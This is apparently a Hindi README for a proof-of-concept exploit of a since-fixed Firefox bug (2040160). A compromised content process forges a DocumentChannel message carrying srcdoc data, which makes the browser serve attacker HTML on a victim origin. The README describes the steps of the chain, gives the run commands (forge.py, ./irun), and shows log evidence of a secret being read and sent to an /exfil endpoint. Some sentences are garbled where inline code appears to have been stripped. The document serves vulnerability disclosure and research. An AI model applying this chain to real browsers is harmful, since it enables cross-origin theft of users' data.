
Firefox content->parent srcdoc फोर्ज (N-day, बग 2040160): गैर-about:srcdoc URI पर SrcdocData के साथ जाली PDocumentChannel -> पीड़ित ओरिजिन पर हमलावर HTML परोसा गया (UXSS), एक समझौता किए गए content process से mojo-port send-path इंजेक्शन के माध्यम से
प्रूफ ऑफ कॉन्सेप्ट: एक समझौता किया गया कंटेंट प्रोसेस एक PDocumentChannel लोड जाली बनाता है जिसका nsDocShellLoadState एक मनमाना URI के साथ SrcdocData रखता है। कमजोर बिल्ड्स हमलावर HTML को पीड़ित ओरिजिन पर दस्तावेज़ के रूप में परोसते हैं — समान-ओरिजिन रीड + एक्सफिल्ट्रेशन (UXSS)।
लक्ष्य: Firefox 149.0a1 नाइटली @ 2fbc0748c4 (कमजोर, फिक्स-पूर्व), macOS arm64।
Firefox 152 में फिक्स किया गया — बग 2040160, कमिट 54dc16d08771 "Reject srcdoc data on non-about:srcdoc URI loads"।
पैरेंट प्रोसेस कंटेंट→पैरेंट IPDL संदेशों से एक nsDocShellLoadState डिसीरियलाइज़ करता है। कमजोर ctor ने केवल कंटेंट-ट्रिगर लोड के लिए javascript: को अस्वीकार किया; को मान्य नहीं किया गया। जब एक लोड स्टेट srcdoc डेटा को ऐसे URI के साथ रखता है जो नहीं है, तो docshell एक इनपुट-स्ट्रीम चैनल बनाता है जो srcdoc HTML को परोसता है — और परिणामी दस्तावेज़ को URI का ओरिजिन मिलता है।
SrcdocDataabout:srcdocफिक्स nsDocShellLoadState IPDL ctor में एक FatalError जोड़ता है जब
!mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI),
साथ ही nsDocShell और Document::StartDocumentLoad में हार्डनिंग asserts।
सहोदर बग: CVE-2026-74939 (RemoteTypeOverride) — समान ctor, समान वाहक संदेश, समान डिलीवरी तंत्र (../poc-cve-2026-74939 देखें)। यह PoC उसी फोर्ज को एक अलग फील्ड फ्लिप करके पुनः उपयोग करता है; किसी RemoteTypeOverride की आवश्यकता नहीं है।
srcdoc.html at http://127.0.0.1:8778 (ओरिजिन A, wasm-bytes.js में स्टेज-1 wasm प्रिमिटिव्स के माध्यम से समझौता किया गया)।PNecko::PDocumentChannel ctor जाली बनाता है: URI = http://localhost:8778/nav.html (ओरिजिन B), SrcdocData = <हमलावर HTML>, एक समान-प्रोसेस about:blank पॉपअप का टॉप-लेवल BrowsingContext — वास्तविक mojo सेंड पथ के माध्यम से डिलीवर किया गया (operator new → IPC::Message ctor → Pickle::WriteBytes → MessageChannel::Send)।webIsolated=http://localhost पर प्रोसेस-स्विच करता है, और docshell हमारे HTML को ओरिजिन B पर दस्तावेज़ के रूप में परोसता है।/secret.txt प्राप्त करता है (B पर समान-ओरिजिन — A से एक वास्तविक क्रॉस-ओरिजिन फेच CORS-अवरुद्ध होगा) और इसे A पर एक्सफिल्ट्रेट करता है।साक्ष्य (./irun के बाद /tmp/srv.log):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| फ़ाइल | उद्देश्य |
|---|---|
srcdoc.html | PoC पेज, समझौता किए गए कंटेंट प्रोसेस के अंदर चलाएं |
forge.py | जाली संदेश बनाता है (स्व-सत्यापन) → forge.bin/forge.json |
wasm-bytes.js | स्टेज-1 प्रिमिटिव्स: arb R/W, funcref कॉल्स (CVE-2026-2796) |
mdrive2.py | Nightly लॉन्च और ड्राइव करने के लिए marionette हार्नेस |
irun | इंस्ट्रूमेंटेड रन: पैरेंट से lldb अटैच + MOZ_LOG/srv.log साक्ष्य |
profile.user.js | Firefox प्रोफ़ाइल प्रेफ्स (fission ऑन, dump सक्षम) |
parse_dc.py | कैप्चर किए गए DocumentChannel संदेशों के लिए बाइट-सटीक पार्सर |
captured-messages/dc_1.bin | वास्तविक कैप्चर किया गया संदेश, फोर्ज टेम्पलेट के रूप में उपयोग किया जाता है |
nav.html, secret.txt | पीड़ित-पेज फिक्स्चर + डेमो के लिए गुप्त |
पूर्वापेक्षाएँ: कमजोर Nightly बिल्ड /Users/sid/gecko-2766/obj-browser पर, psutil के साथ .venv, और 0.0.0.0:8778 पर इस निर्देशिका को परोसने वाला एक वेब सर्वर (जैसे python3 /tmp/srv.py, /tmp/srv.log पर लॉगिंग)।
python3 forge.py # forge.bin/forge.json बनाएं (स्व-सत्यापन)
./irun # लॉन्च + इंजेक्ट + साक्ष्य एकत्र करें
नोट: सेंड के बाद टियरडाउन पर एक कंटेंट प्रोसेस SIGSEGV हो सकता है (नकली ऑब्जेक्ट्स पर GC); सभी साक्ष्य उससे पहले उत्सर्जित होते हैं।
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)